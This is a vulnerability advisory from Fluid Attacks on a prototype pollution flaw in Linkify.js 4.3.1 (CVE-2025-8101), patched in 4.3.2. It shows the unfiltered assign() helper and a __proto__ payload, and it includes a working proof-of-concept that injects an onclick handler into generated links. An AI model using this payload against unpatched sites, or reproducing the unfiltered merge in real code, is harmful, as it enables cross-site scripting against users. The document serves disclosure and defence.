Linkify 4.3.1 - Prototype Pollution & HTML Attribute Injection (XSS)

8.8

High

8.8

High

Discovered by

Camilo Vera

Offensive Team, Fluid Attacks

Summary

Full name

Linkify 4.3.1 - Prototype Pollution & HTML Attribute Injection (XSS)

Code name

State

Public

Release date

Jul 25, 2025

Affected product

Linkify

Affected version(s)

4.3.1

Fixed version(s)

4.3.2

Vulnerability name

Prototype Pollution

Vulnerability type

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.8

Exploit available

Yes

CVE ID(s)

Description

Prototype Pollution in internal assign() helper in Linkify.js version 4.3.1 allows remote attackers to execute arbitrary JavaScript (Stored or Reflected XSS) via injection of event handlers through unfiltered proto property.

Vulnerability

Linkify.js is JavaScript library and ecosystem for automatically detecting links in text and converting them to HTML <a> elements.

The Linkify.js version 4.3.1 is vulnerable to Prototype Pollution via the internal assign() helper, which fails to filter __proto__.

An attacker can inject event handlers into every generated link, leading to Stored or Reflected XSS.

Insecure Merge

// packages/linkifyjs/src/assign.mjs
export default function assign(target, properties) {
  for (const key in properties) {
    target[key] = properties[key];
  }
  return target;
}

Prototype Pollution

By passing options.attributes.__proto__, the attacker writes to the new object’s prototype:

options.attributes = {
  __proto__: { onclick: "alert('XSS via PP')" }
};

Attribute Injection & XSS

Later, all enumerable keys (including inherited ones) are set on <a>:

for (const attr in attributes) {
  element.setAttribute(attr, attributes[attr]);
}

PoC

Exploit:

// poc-proto-xss.js
import linkifyHtml from 'linkify-html';

const opts = {
  attributes: {
    __proto__: {
      onclick: "alert('XSS via prototype pollution')"
    }
  }
};

console.log(
  linkifyHtml('victim.com', opts)
);
// <a href="http://victim.com" onclick="alert('XSS via prototype pollution')">victim.com</a>

Our security policy

We have reserved the ID CVE-2025-8101 to refer to this issue from now on.

Disclosure policy

System Information

  • Linkify.js

  • Version 4.3.1

  • Operative System: Any

References

Github Repository: https://github.com/nfrasser/linkifyjs

Mitigation

Linkify version 4.3.2 has patched this vulnerability.

Credits

The vulnerability was discovered by Camilo Vera from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Jul 15, 2025

Vendor contacted

Jul 23, 2025

Vendor replied

Jul 24, 2025

Follow-up with vendor

Jul 25, 2025

Vendor confirmed

Jul 25, 2025

Vulnerability patched

Jul 25, 2025

Public disclosure

Jul 25, 2025

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.